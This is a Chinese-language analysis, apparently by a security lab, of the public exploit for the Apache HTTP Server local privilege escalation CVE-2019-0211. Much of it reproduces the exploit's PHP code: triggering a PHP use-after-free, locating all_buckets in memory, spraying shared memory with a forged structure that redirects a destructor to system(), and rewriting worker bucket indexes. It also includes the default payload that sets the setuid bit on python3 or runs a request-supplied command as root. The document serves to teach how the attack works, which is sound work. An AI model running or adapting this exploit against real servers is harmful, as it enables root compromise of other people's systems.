前段时间Apache HTTP 被发现存在本地提权漏洞（CVE-2019-0211），漏洞作者在第一时间就给出了WriteUp和漏洞EXP，阿尔法实验室也对EXP进行了深入分析，在此将分析的笔记整理分享出来，希望对大家理解该漏洞有所帮助。本文内容主要按着EXP的执行步骤一步步讲解，同时详细解释了利用过程中几个比较难理解的点：

PHP UAF漏洞的具体利用细节
all_buckets[bucket]是如何指向SHM中伪造的结构以及堆喷的问题
如何让apr_proc_mutex_t和zend_array、prefork_child_bucket和zend_object这些结构体叠加的

一、漏洞成因

作者的WriteUp中对导致漏洞代码已经有了介绍，这里就只是简单提一下，并省略了大部分的源码以减轻阅读负担。

在Apache的MPM prefork模式中，以root权限运行主服务器进程，同时管理一个低特权工作进程（worker）池，用于处理HTTP请求。主进程和worker之间通过一个共享内存（SHM）进行通信。

1.当Apache httpd服务器优雅重启（graceful）时，httpd主进程会杀死旧worker并用新worker替换它们，这就会调用prefork_run()函数产生新的worker：

//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
  /* ... */   
  make_child(ap_server_conf, child_slot,
             ap_get_scoreboard_process(child_slot)->bucket);
  /* ... */
}

//server/mpm/prefork/prefork.c

static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)

{

/* ... */

make_child(ap_server_conf, child_slot,

ap_get_scoreboard_process(child_slot)->bucket);

/* ... */

}

2.在该函数中调用make_child()，并使用ap_get_scoreboard_process(child_slot)->bucket作为参数。make_child()函数会创建新的子进程，同时根据bucket索引读取all_buckets数组到my_bucket：

//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket)
{
  /* ... */
  my_bucket = &all_buckets[bucket];
  /* ... */  
  child_main(slot, bucket);
  /* ... */

//server/mpm/prefork/prefork.c

static int make_child(server_rec *s, int slot, int bucket)

{

/* ... */

my_bucket = &all_buckets[bucket];

/* ... */

child_main(slot, bucket);

/* ... */

3.调用child_main()，如果Apache侦听多个端口，那么SAFE_ACCEPT(<code>)宏中的<code>将会执行，这里apr_proc_mutex_child_init()将会执行：

//server/mpm/prefork/prefork.c
static void child_main(int child_num_arg, int child_bucket)
{
  /* ... */
  status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
                                            apr_proc_mutex_lockfile(my_bucket->mutex),
                                            pchild));
  /* ... */

//server/mpm/prefork/prefork.c

static void child_main(int child_num_arg, int child_bucket)

{

/* ... */

status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,

apr_proc_mutex_lockfile(my_bucket->mutex),

pchild));

/* ... */

4.上述函数进一步调用(*mutex)->meth->child_init(mutex, pool, fname):

//apr-1.7.0
//locks/unix/proc_mutex.c
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
                                                    const char *fname,
                                                    apr_pool_t *pool)
{
    return (*mutex)->meth->child_init(mutex, pool, fname);
}

//apr-1.7.0

//locks/unix/proc_mutex.c

APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,

const char *fname,

apr_pool_t *pool)

{

return (*mutex)->meth->child_init(mutex, pool, fname);

}

整个简化的流程如下：

prefork_run()
  make_child(bucket)
    my_bucket = &all_buckets[bucket];
    child_main(bucket)
    SAFE_ACCEPT(apr_proc_mutex_child_init)
      apr_proc_mutex_child_init(my_bucket->mutex)
        mutex->meth->child_init(&my_bucket->mutex)//覆盖child_init()的指针来指向代码

prefork_run()

make_child(bucket)

my_bucket = &all_buckets[bucket];

child_main(bucket)

SAFE_ACCEPT(apr_proc_mutex_child_init)

apr_proc_mutex_child_init(my_bucket->mutex)

mutex->meth->child_init(&my_bucket->mutex)//覆盖child_init()的指针来指向代码

如果我们在共享内存中伪造一个prefork_child_bucket结构（即all_buckets数组的元素），并修改all_buckets数组的索引bucket，就可以在第三行处的代码控制my_bucket指向该结构。

进而在后续代码执行my_bucket->mutex->meth->child_init(mutex, pool, fname)，meth结构包含指向多个函数的指针，因此，将其中的child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的，并且此时进程还是处于root权限的，后面才降低自身的权限。

二、漏洞利用

作者在其WriteUp将利用过程分为四个步骤，但实际的exp要比他写得更繁琐一点，在顺序上也稍微有些不同。以下是根据exp执行步骤整理的流程，补充了一些细节：

利用PHP读取worker的/proc/self/maps文件，进而定位一些漏洞利用所需模块和函数的地址
枚举/proc/*/cmdline和/proc/*/status文件，得到所有worker进程的PID
利用一个PHP的UAF漏洞，在worker进程中获取读/写SHM的权限
遍历Apache的内存，根据内存模式匹配找到与all_buckets数组地址
因为优雅重启后，all_buckets的位置会改变，因此需要计算一个”适当”的bucket索引，保证all_buckets[bucket]仍然指向伪造的prefork_child_bucket结构
在SHM中构造payload
喷射payload之后剩余的SHM区域，确保第5步中all_buckets[bucket]指向这片区域后，能转跳到payload
将process_score->bucket修改为第5步中计算的bucket。此外为了进一步提高成功率，还可以枚举SHM区域所有的process_score结构，将每个worker的process_score->pid与第2步得到的PID的相比较，匹配上的就是正确的process_score结构，将每个worker的process_score->bucket都进行修改。
等待Apache优雅重启触发漏洞（每天早上6:25会自动执行，也可手动重启验证结果）

具体的细节如下图：

2.1 exp概述

get_all_addresses()、get_workers_pids()函数分别取得几个关键内存地址、worker的PID放入全局变量$addresses和$worker_pids中，以便在随后的利用中使用。需要注意如果执行exp时无法解析shm和apache的地址，可能是因为你的环境中shm的大小与exp中查找的范围不一致，可以自己查看一下maps文件，然后修改if ($msize >= 0x10000 && $msize <= 0x16000)这一行为正确的值即可。

real()函数有两个作用，一是触发PHP的UAF漏洞。二是开始真正的漏洞利用过程，因为Z中定义了jsonSerialize()方法，它会在类实例被序列化的时候调用，即后面执行json_encode()时调用，而所有的利用代码都在jsonSerialize()中。

下面的代码只保留了EXP的基本框架，只为了让大家有一个整体上的概念：

<?php
function real()
{
  global $y;
  $y = [new Z()];
  json_encode([0 => &$y]);
}

class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    ...
  }
  ... 
}  

...

function get_all_addresses()
{
  ...  
}  
function get_workers_pids()
{
  ...  
}  

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();

<?php

function real()

{

global $y;

$y = [new Z()];

json_encode([0 => &$y]);

}

class Z implements JsonSerializable

{

public function jsonSerialize()

{

...

}

...

}

...

function get_all_addresses()

{

...

}

function get_workers_pids()

{

...

}

$addresses = get_all_addresses();

$workers_pids = get_workers_pids();

real();

接下来具体看看jsonSerialize()中的代码。

2.2 利用PHP的UAF获取读写SHM的权限

还是先概括的讲一讲PHP这个UAF漏洞原理：

class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $addresses, $workers_pids;
    ...
    $this->abc = ptr2str(0, 79);      //ptr2str在这里等同于创建一个字符串
    ...
    unset($y[0]);
    ...
    $x = new DateInterval('PT1S');
    ...
  }
}

class Z implements JsonSerializable

{

public function jsonSerialize()

{

global $y, $addresses, $workers_pids;

...

$this->abc = ptr2str(0, 79); //ptr2str在这里等同于创建一个字符串

...

unset($y[0]);

...

$x = new DateInterval('PT1S');

...

}

1. 我们在Z中定义了一个字符串$this->abc（PHP内部使用zend_string表示），就好比C中malloc一块内存

2. 接着unset($y[0])（Z的实例），就像”free”掉刚才分配的内存

3. 然后再请求分配一个和刚才释放大小相同的内存块，这里使用的是DateInterval（PHP的对象内部实现往往由几个结构体组成，这里其实是DateInterval中的timelib_rel_time和zend_string大小相同），于是DateInterval就占据了原来字符串的位置，如下图所示：

4. 此时$this->abc仍然可用并指向原来的位置，于是我们可以通过修改DateInterval来控制字符串$this->abc。

PHP字符串的内部实现如下，用一个zend_string表示，通过成员变量len来判断字符串长度，从而实现二进制安全。我们修改DateInterval的属性间接修改len的大小就可以通过this->abc读写SHM区域了。当然，为了能够成功利用漏洞，还有许多细节需要考虑。

struct _zend_string {
    zend_refcounted   gc;
    zend_ulong        h;
    size_t            len;      
    char              val[1];
};

struct _zend_string {

zend_refcounted gc;

zend_ulong h;

size_t len;

char val[1];

};

2.2.1 填充空闲内存块

在脚本运行之前可能发生了大量的分配/释放，因此同时实例化的两个变量也不一定是连续的，为解决这个问题，实例化几个DateInterval对象填充不连续空闲块，以确保后面分配的内存是连续的：

$contiguous = [];
for($i=0;$i<10;$i++)
  $contiguous[] = new DateInterval('PT1S');

$_protector = ptr2str(0, 78);

$contiguous = [];

for($i=0;$i<10;$i++)

$contiguous[] = new DateInterval('PT1S');

$_protector = ptr2str(0, 78);

2.2.2 创建保护内存块

为了保证UAF后我们控制的结构属于一块空闲内存，如果我们之后创建其他变量，那么这些变量可能会破坏我们已经控制的结构，为了避免这种情况，这里分配了很多对象Z的实例，后面的代码中会将其释放，由于PHP的堆LIFO的特点，这些释放掉的内存会优先于UAF的那块内存分配，从而保护被我们控制的结构。

$room = [];
for($i=0;$i<10;$i++)
  $room[] = new Z();

$room = [];

for($i=0;$i<10;$i++)

$room[] = new Z();

函数ptr2str的作用相当于在内存中分配一个大小为78的zend_string结构，为什么是78这个大小接下来会提到。

$_protector = ptr2str(0, 78);

1	$_protector = ptr2str(0, 78);

2.2.3 分配UAF的字符串

接着创建字符串$this->abc，也就是一个zend_string结构，通过对它进行UAF，进而读写共享内存。

$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');

1 2	$this->abc = ptr2str(0, 79); $p = new DateInterval('PT1S');

创建$p的目的是为了保护$this->abc，前面说过，一个PHP对象往往由许多结构组成，而DateInterval中的timelib_rel_time结构大小就刚好为78，这就是前面为何要创建大小78的zend_string的原因。

此时的内存布局如下图所示，这里和下面的所有图示都是为了方便大家理解，因为PHP各种变量、对象都是由好几个结构组成，所以实际的PHP堆内存排布肯定比此复杂。

2.2.4 触发UAF并验证

接着unset当前对象$y[0]和$p，unset掉$p意味着释放了DateInterval的timelib_rel_time结构。

unset($y[0]);
unset($p);

1 2	unset($y[0]); unset($p);

此时内存布局如下：

然后我们将分配一个与其大小相同的字符串（$protector），由于PHP堆LIFO的特点，因此字符串将取代timelib_rel_time结构的位置。

# Protect $p's timelib_rel_time structure
$protector = ".$_protector";

1 2	# Protect $p's timelib_rel_time structure $protector = ".$_protector";

接着就是最重要的一步：

$x = new DateInterval('PT1S');

1	$x = new DateInterval('PT1S');

再次创建一个DateInterval，它的timelib_rel_time结构将刚好占据上图中free的内存位置，同时$this->abc仍然是可以访问free这块内存的，即：&timelib_rel_time == &zend_string。因此我们可以通过修改DateInterval对象来修改zend_string.len，从而控制可以读/写内存的长度。

完成上述步骤后，我们还需要验证UAF是否成功，看一下DateInterval的定义：

DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string
}

DateInterval {

/* Properties */

public integer $y ;

public integer $m ;

public integer $d ;

public integer $h ;

public integer $i ;

public integer $s ;

public float $f ;

public integer $invert ;

public mixed $days ;

/* Methods */

public __construct ( string $interval_spec )

public static createFromDateString ( string $time ) : DateInterval

public format ( string $format ) : string

}

因为有&timelib_rel_time == &zend_string，所以这里的$d和$y分别对应zend_string里的len和val。可以将$x（DateInterval）的h属性设置为0×13121110，再通过$this->abc字符串（zend_string）访问来判断UAF成功与否。

# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;

if(!(
  strlen($this->abc) === $x->d &&
  $this->abc[0] == "\x10" &&
  $this->abc[1] == "\x11" &&
  $this->abc[2] == "\x12" &&
  $this->abc[3] == "\x13"
))
{
  o('UAF failed, exiting.');
  exit();
}
  o('UAF successful.');;

# zend_string.refcount = 0

$x->y = 0x00;

# zend_string.len

$x->d = 0x100;

# zend_string.val[0-4]

$x->h = 0x13121110;

if(!(

strlen($this->abc) === $x->d &&

$this->abc[0] == "\x10" &&

$this->abc[1] == "\x11" &&

$this->abc[2] == "\x12" &&

$this->abc[3] == "\x13"

))

{

o('UAF failed, exiting.');

exit();

}

o('UAF successful.');;

最后别忘了释放掉$room，产生的空闲块将保护我们控制的结构，后面再新建变量都会优先使用这些内存。

unset($room);

1	unset($room);

2.2.5 控制并修改UAF的结构

利用这个PHP漏洞的目的是为了能够获取读写SHM的权限，现在我们能够读写zend_string.val的内容，能读写的长度是zend_string.len，因此只要将len的值增加到包括SHM的范围。

这时我们已经知道了SHM的绝对地址，还需要知道abc的绝对地址，得到两者之间的偏移量才可以修改len。因此需要找到字符串$this->abc在内存中的位置：

$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));

$address = str2ptr($this->abc, 0x70 * 2 - 24);

$address = $address - 0x70 * 3;

$address = $address + 24;

o('Address of $abc: 0x' . dechex($address));

然后我们就可以计算两者间的偏移量了，还要注意的是，因为后面我们需要在内存中查找all_bucket，而它在apache的内存中所以我们的len需要将SHM和apache的内存都覆盖到，所以作者的WriteUp中说SHM和apache的内存都需要在PHP堆之后，而它们也确实都在PHP堆之后。

找SHM和apache的内存两者间较大的值，减去abc的地址，将得到的偏移通过DateInterval的d属性修改来修改zend_string.len。

$distance = 
  max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;

$distance =

max($addresses['apache'][1], $addresses['shm'][1]) - $address;

$x->d = $distance;

这等同于将zend_string结构（$this->abc）中的len修改为一个超大的值，一直包括到SHM和Apache内存区域，这下我们就可以读写这个范围内的内存了。

2.3 在内存中定位all_buckets

根据内存模式查找all_buckets数组的位置，这在作者的writeup中有提到。mutex在all_buckets偏移0×10的位置，而meth在mutex偏移0×8的位置，根据该特征查找all_buckets数组。

首先，在apache的内存中搜索all_buckets[idx]->mutex，接着验证meth，是否在libapr.so的.data段中，最后因为meth指向libapr.so中定义的函数，因此验证其是否在.text段。满足这些条件的就是我们要找的all_buckets[]结构。

    $all_buckets = 0;

    for(
      $i = $addresses['apache'][0] + 0x10;
      $i < $addresses['apache'][1] - 0x08;
      $i += 8
    )
    {
      # mutex
      $mutex = $pointer = str2ptr($this->abc, $i - $address);
      if(!in($pointer, $addresses['apache']))
        continue;

      # meth
      $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
      if(!in($pointer, $addresses['libaprR']))
        continue;

      o('  [&mutex]: 0x' . dechex($i));
      o('    [mutex]: 0x' . dechex($mutex));
      o('      [meth]: 0x' . dechex($meth));

$all_buckets = 0;

for(

$i = $addresses['apache'][0] + 0x10;

$i < $addresses['apache'][1] - 0x08;

$i += 8

)

{

# mutex

$mutex = $pointer = str2ptr($this->abc, $i - $address);

if(!in($pointer, $addresses['apache']))

continue;

# meth

$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);

if(!in($pointer, $addresses['libaprR']))

continue;

o(' [&mutex]: 0x' . dechex($i));

o(' [mutex]: 0x' . dechex($mutex));

o(' [meth]: 0x' . dechex($meth));

顺便将meth结构中所有函数指针打印出来，第6个就是我们要用到的(*child_init)()。

      # meth->*
      # flags
      if(str2ptr($this->abc, $pointer - $address) != 0)
        continue;
      # methods
      for($j=0;$j<7;$j++)
      {
        $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
        if(!in($m, $addresses['libaprX']))
          continue 2;
        o('        [*]: 0x' . dechex($m));
      }

      $all_buckets = $i - 0x10;
      o('all_buckets = 0x' . dechex($all_buckets));
      break;
    }

# meth->*

# flags

if(str2ptr($this->abc, $pointer - $address) != 0)

continue;

# methods

for($j=0;$j<7;$j++)

{

$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);

if(!in($m, $addresses['libaprX']))

continue 2;

o(' [*]: 0x' . dechex($m));

}

$all_buckets = $i - 0x10;

o('all_buckets = 0x' . dechex($all_buckets));

break;

}

这是meth的结构，可以对照着看一看：

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
    const char *name;
};

struct apr_proc_mutex_unix_lock_methods_t {

unsigned int flags;

apr_status_t (*create)(apr_proc_mutex_t *, const char *);

apr_status_t (*acquire)(apr_proc_mutex_t *);

apr_status_t (*tryacquire)(apr_proc_mutex_t *);

apr_status_t (*release)(apr_proc_mutex_t *);

apr_status_t (*cleanup)(void *);

apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);

const char *name;

};

2.4 计算索引buckets

再回忆一下漏洞利用的方法：在SHM中构造payload （prefork_child_bucket结构），同时将剩余SHM区域喷射payload地址（并非payload起始地址），控制指向喷射区域，所以&all_buckets[bucket]中的meth必然指向payload ，而payload中我们已将child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的。

要想控制&all_buckets[bucket]指向prefork_child_bucket结构，不能直接将该结构精确放在某个位置，然后直接计算两者间的偏移，因为all_buckets的地址在每优雅重启后会发生变化，所以漏洞被触发时all_buckets的地址将与我们找到的地址是不同的，这就是作者在EXP中进行堆喷的目的。

all_buckets是一个结构体数组，元素prefork_child_bucket结构由三个指针组成：

typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;

typedef struct prefork_child_bucket {

ap_pod_t *pod;

ap_listen_rec *listeners;

apr_proc_mutex_t *mutex;

} prefork_child_bucket;

如果在SHM中大量喷射一个指向payload的地址，只要让&all_buckets[bucket]落在该区域内，payload就能得到执行，如下图中所示：

并且在EXP中，作者一共使用了两种方法来提高利用成功率：

1.喷射SHM，也就是上面提到的方法

2.修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache Worker的数量。这也是exp开始时调用$workers_pids = get_workers_pids();的原因。
先看第一种方法的实现：

SHM的起始部分是被apache的各个进程使用的，可以用SHM末尾的绝对地址$spray_max，减去未使用的内存空间大小$spray_size，得到要喷射区域的大小$spray_size；而未使用空间的大小可以通过减去已使用worker_score结构的总大小得到。

$size_prefork_child_bucket = 24;
$size_worker_score = 264;

$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;

$size_prefork_child_bucket = 24;

$size_worker_score = 264;

$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);

$spray_max = $addresses['shm'][1];

$spray_min = $spray_max - $spray_size;

然后找喷射区域地址的中间值，计算它和all_buckets地址的偏移，再除以prefork_child_bucket结构的大小，就可以得到一个all_buckets数组下标索引，但别忘了SHM在all_buckets之前，所以这个索引还要取负值，这个值用$bucket_index_middle表示。

$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );

1 2	$spray_middle = (int) (($spray_min + $spray_max) / 2); $bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );

这样做的目的在于，在每优雅重启后，即便all_buckets的地址有所变化，&all_buckets[bucket]指向的位置会在$spray_middle上下浮动，最大程度上保证了该指针落在喷射的内存范围内，如下图所示：

2.5 设置payload并喷射SHM

Payload由三个部分组成

1.bucket，用来存放要执行的命令，这是因为payload已经成了几个结构的叠加。

2.meth，它还是apr_proc_mutex_unix_lock_methods_t结构，只是它的child_init替换成了zend_object_std_dtor，其他指针置空。

3.properties，这是PHP内部结构zend_object的一个成员。

回忆漏洞的攻击链，最后的child_init被替换成函数zend_object_std_dtor执行，其原型如下，传入一个zend_object结构：

ZEND_API void zend_object_std_dtor(zend_object *object);

1	ZEND_API void zend_object_std_dtor(zend_object *object);

所以原本传给child_init的&my_bucket->mutex（prefork_child_bucket结构的一部分）就和zend_object相叠加了。

zend_object_std_dtor的执行又导致以下调用链：

...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
    //(*mutex)->meth->child_init()
    (*mutex)->meth->zend_object_std_dtor(object)    //[object = mutex]
        ht = object->properties
        zend_array_destroy(ht)
        zend_hash_destroy(ht)
            val = &ht->arData[0]->val
            ht->pDestructor(val)

...

mutex = &my_bucket->mutex

apr_proc_mutex_child_init(mutex)

//(*mutex)->meth->child_init()

(*mutex)->meth->zend_object_std_dtor(object) //[object = mutex]

ht = object->properties

zend_array_destroy(ht)

zend_hash_destroy(ht)

val = &ht->arData[0]->val

ht->pDestructor(val)

上面的代码properties是一个zend_array结构，如下所示，我们控制其中的arData，pDestructor，如果我们将上面&ht->arData[0]->val放入要执行的命令，pDestructor()覆盖为system的地址，就可以实现命令执行了。

struct _zend_array {
    zend_refcounted_h gc;
    //...
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};

struct _zend_array {

zend_refcounted_h gc;

//...

uint32_t nTableMask;

Bucket *arData;

uint32_t nNumUsed;

uint32_t nNumOfElements;

uint32_t nTableSize;

uint32_t nInternalPointer;

zend_long nNextFreeElement;

dtor_func_t pDestructor;

};

回到exp中，首先构造bucket部分，放入要执行的命令，没有参数时默认执行”chmod +s /usr/bin/python3.5″，但是自定义的命令长度也不能超过152字节。

# Build payload

$payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

  # Payload maxsize 264 - 112 = 152
      $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.5";

      if(strlen($bucket) > $size_worker_score - 112)
    {
      o(
        'Payload size is bigger than available space (' .
        ($size_worker_score - 112) .
        '), exiting.'
      );
      exit();
    }
      # Align
      $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

# Build payload

$payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

# Payload maxsize 264 - 112 = 152

$bucket = isset($_REQUEST['cmd']) ?

$_REQUEST['cmd'] :

"chmod +s /usr/bin/python3.5";

if(strlen($bucket) > $size_worker_score - 112)

{

'Payload size is bigger than available space (' .

($size_worker_score - 112) .

'), exiting.'

);

exit();

}

# Align

$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

然后是meth，将原本child_init的指针改为zend_object_std_dtor：

# apr_proc_mutex_unix_lock_methods_t
    $meth = 
        $z .
        $z .
        $z .
        $z .
        $z .
        $z .
      # child_init
        ptr2str($addresses['zend_object_std_dtor'])
    ;

# apr_proc_mutex_unix_lock_methods_t

$meth =

$z .

# child_init

ptr2str($addresses['zend_object_std_dtor'])

;

经过调试也可以看到child_init被覆盖：

然后是properties（zend_array和apr_proc_mutex_t结构的叠加），u-nTableMask的位置将用作apr_proc_mutex_t结构的meth，而arData指向payload中的bucket。

      $properties = 
      # refcount
      ptr2str(1) .
      # u-nTableMask meth
      ptr2str($payload_start + strlen($bucket)) .
      # Bucket arData
      ptr2str($payload_start) .
      # uint32_t nNumUsed;
      ptr2str(1, 4) .
        # uint32_t nNumOfElements;
      ptr2str(0, 4) .
      # uint32_t nTableSize
      ptr2str(0, 4) .
      # uint32_t nInternalPointer
      ptr2str(0, 4) .
      # zend_long nNextFreeElement
      $z .
      # dtor_func_t pDestructor
      ptr2str($addresses['system'])
    ;

$properties =

# refcount

ptr2str(1) .

# u-nTableMask meth

ptr2str($payload_start + strlen($bucket)) .

# Bucket arData

ptr2str($payload_start) .

# uint32_t nNumUsed;

ptr2str(1, 4) .

# uint32_t nNumOfElements;

ptr2str(0, 4) .

# uint32_t nTableSize

ptr2str(0, 4) .

# uint32_t nInternalPointer

ptr2str(0, 4) .

# zend_long nNextFreeElement

$z .

# dtor_func_t pDestructor

ptr2str($addresses['system'])

;

将各部分组合：

    $payload = 
      $bucket .
      $meth .
      $properties
    ;

$payload =

$bucket .

$meth .

$properties

;

通过前面UAF控制的字符串abc写入SHM未使用部分的开头：

    o('Placing payload at address 0x' . dechex($payload_start));

    $p = $payload_start - $address;
    for(
      $i = 0;
      $i < strlen($payload);
      $i++
    )
    {
      $this->abc[$p+$i] = $payload[$i];
    }

o('Placing payload at address 0x' . dechex($payload_start));

$p = $payload_start - $address;

for(

$i = 0;

$i < strlen($payload);

$i++

)

{

$this->abc[$p+$i] = $payload[$i];

}

打印信息，将SHM剩下的部分喷射为properties的地址

    $properties_address = $payload_start + strlen($bucket) + strlen($meth);
    o('Spraying pointer');
    o('  Address: 0x' . dechex($properties_address));
    o('  From: 0x' . dechex($spray_min));
    o('  To: 0x' . dechex($spray_max));
    o('  Size: 0x' . dechex($spray_size));
    o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
    o('  Apache: 0x' . dechex(
      $addresses['apache'][1] -
      $addresses['apache'][0]
    ));

    $s_properties_address = ptr2str($properties_address);

    for(
      $i = $spray_min;
      $i < $spray_max;
      $i++
    )
    {
      $this->abc[$i - $address] = $s_properties_address[$i % 8];
    }

$properties_address = $payload_start + strlen($bucket) + strlen($meth);

o('Spraying pointer');

o(' Address: 0x' . dechex($properties_address));

o(' From: 0x' . dechex($spray_min));

o(' To: 0x' . dechex($spray_max));

o(' Size: 0x' . dechex($spray_size));

o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));

o(' Apache: 0x' . dechex(

$addresses['apache'][1] -

$addresses['apache'][0]

));

$s_properties_address = ptr2str($properties_address);

for(

$i = $spray_min;

$i < $spray_max;

$i++

)

{

$this->abc[$i - $address] = $s_properties_address[$i % 8];

}

讲到这里可以再回头看看文章刚开始的图，应该就更容易理解了。

2.6 进一步提高成功率

前面还讲到，可以修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache Worker的数量，因为2.4中计算出的bucket索引能落在了SHM之外，如果有多个worker，如下图所示，就能提高&all_buckets[bucket]落在SHM中的概率：

迭代查找每个process_score结构直到找到每个PID，再将找到的PID$workers_pids中的PID对比，匹配的就说明是正确的结构。

$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

    for(
      $p = $addresses['shm'][0] + 0x20;
      $p < $addresses['shm'][1] && count($workers_pids) > 0;
      $p += 0x24
    )
    {
      $l = $p - $address;
      $current_pid = str2ptr($this->abc, $l, 4);
      o('Got PID: ' . $current_pid);
      # The PID matches one of the workers
      if(in_array($current_pid, $workers_pids))
      {
        unset($workers_pids[$current_pid]);
        o('  PID matches');

$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);

$total_nb_buckets = $spray_nb_buckets * count($workers_pids);

$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

for(

$p = $addresses['shm'][0] + 0x20;

$p < $addresses['shm'][1] && count($workers_pids) > 0;

$p += 0x24

)

{

$l = $p - $address;

$current_pid = str2ptr($this->abc, $l, 4);

o('Got PID: ' . $current_pid);

# The PID matches one of the workers

if(in_array($current_pid, $workers_pids))

{

unset($workers_pids[$current_pid]);

o(' PID matches');

将所有workerprocess_score.bucket都进行修改，而非修改其中一个：

        # Update bucket address
        $s_bucket_index = pack('l', $bucket_index);
        $this->abc[$l + 0x20] = $s_bucket_index[0];
        $this->abc[$l + 0x21] = $s_bucket_index[1];
        $this->abc[$l + 0x22] = $s_bucket_index[2];
        $this->abc[$l + 0x23] = $s_bucket_index[3];
        o('  Changed bucket value to ' . $bucket_index);
        $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
        $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
        o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
        # This bucket range is covered, go to the next one
        $bucket_index += $spray_nb_buckets;

# Update bucket address

$s_bucket_index = pack('l', $bucket_index);

$this->abc[$l + 0x20] = $s_bucket_index[0];

$this->abc[$l + 0x21] = $s_bucket_index[1];

$this->abc[$l + 0x22] = $s_bucket_index[2];

$this->abc[$l + 0x23] = $s_bucket_index[3];

o(' Changed bucket value to ' . $bucket_index);

$min = $spray_min - $size_prefork_child_bucket * $bucket_index;

$max = $spray_max - $size_prefork_child_bucket * $bucket_index;

o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));

# This bucket range is covered, go to the next one

$bucket_index += $spray_nb_buckets;

到这里，整个漏洞利用过程就结束了，可以等到6:25AM查看利用是否利用成功，也可以手动执行apachectl graceful验证。

    if(count($workers_pids) > 0)
    {
      o(
        'Unable to find PIDs ' .
        implode(', ', $workers_pids) .
        ' in SHM, exiting.'
      );
      exit();
    }

    o('');
    o('EXPLOIT SUCCESSFUL.');
    o('Await 6:25AM.');

    return 0;

if(count($workers_pids) > 0)

{

'Unable to find PIDs ' .

implode(', ', $workers_pids) .

' in SHM, exiting.'

);

exit();

}

o('');

o('EXPLOIT SUCCESSFUL.');

o('Await 6:25AM.');

return 0;

三、参考

[1] CVE-2019-0211 Apache Root Privilege Escalation

[2] exploit

[3] PHP7内核剖析